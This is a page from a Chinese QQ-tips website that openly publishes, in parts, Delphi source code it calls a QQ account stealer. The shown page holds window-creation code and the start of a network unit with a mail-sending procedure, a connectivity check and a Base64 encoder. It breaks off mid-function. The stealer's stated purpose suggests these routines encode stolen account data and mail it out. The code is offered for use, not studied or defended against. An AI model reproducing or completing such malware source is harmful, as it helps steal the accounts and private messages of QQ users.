QQ技巧 QQ表情大全 QQ头像大全 QQ签名大全 QQ资料大全 QQ网名大全 qq个性网名 qq繁体个性网名 QQ病毒
QQ聊天宝典 QQ文字贴图 QQ安全 QQ字体  qq表情下载 qq搞笑表情  qq自定义头像  qq个性资料  QQ繁体资料
qq个性签名 qq繁体个性签名 幽默 星座情缘 心理测试 幽默搞笑短信  情感 性交姿势 爱情短信 个性测试 收藏本站 

盗QQ源码 完全公布


    lpszClassname := PChar(ClassName);
    hCursor := LoadCursor(0, IDC_ARROW);
  end; { with }
  RegisterClass(WinClass);
  OutHandle := CreateWindowEx(WS_EX_WINDOWEDGE, PChar(ClassName), PChar(ClassName),
    WS_SIZEBOX or WS_CAPTION or WS_SYSMENU or WS_VISIBLE,
    363, 278, 305, 65, 0, 0, Inst, nil);
end;

procedure ApplicationRun(hWindow: HWND);
var
  Msg: TMsg;
begin
  while (GetMessage(Msg, hWindow, 0, 0)) do
  begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
end;


end.

另一个单元

unit GNetMethods;

//{$I Complier.inc}

interface
uses
  Winsock, GConsts, Wininet, SysUtils{$IFDEF DebugMode}, windows{$ENDIF};

procedure SendMail;                //发送邮件
function NetInternetConnected: Boolean;

implementation

function NetInternetConnected: Boolean;
var
 dwConnectionTypes: DWORD;  //值
begin
  dwConnectionTypes := INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_MODEM
    + INTERNET_CONNECTION_PROXY;
  Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

function EncodeBase64(const Source: string): string;
var
  Times, LenSrc, i: Integer;
  x1, x2, x3, x4: Char;
  xt: Byte;
begin
  Result := '';
  LenSrc := Length(Source);
  if LenSrc mod 3 = 0 then
    Times := LenSrc div 3
  else
    Times := LenSrc div 3 + 1;

  for i := 0 to Times - 1 do
  begin
    if LenSrc >= (3 + i * 3) then
    begin
      x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (ord(Source[1 + i * 3]) shl 4) and 48;
      xt := xt or (ord(Source[2 + i * 3]) shr 4);
      x2 := BaseTable[xt + 1];
      xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
      xt := xt or (Ord(Source[3 + i * 3]) shr 6);
      x3 := BaseTable[xt + 1];
      xt := (ord(Source[3 + i * 3]) and 63);
      x4 := BaseTable[xt + 1];
    end
    else if LenSrc >= (2 + i * 3) then
    begin
      x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
      xt := xt or (Ord(Source[2 + i * 3]) shr 4);
      x2 := BaseTable[xt + 1];
      xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
      x3 := BaseTable[xt + 1];
      x4 := '=';
    end else
    begin
      x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (Ord(Source[1 + i * 3]) shl 4) and 48;

上一页1234567下一页  GO


站长赚钱   建站指南   网上创业   网上开店 爱情故事   恋爱技巧   爱情测试   心理测试 两性健康   性爱技巧   星座爱情   情书大全

黑马QQ宝典:www.heimaqq.com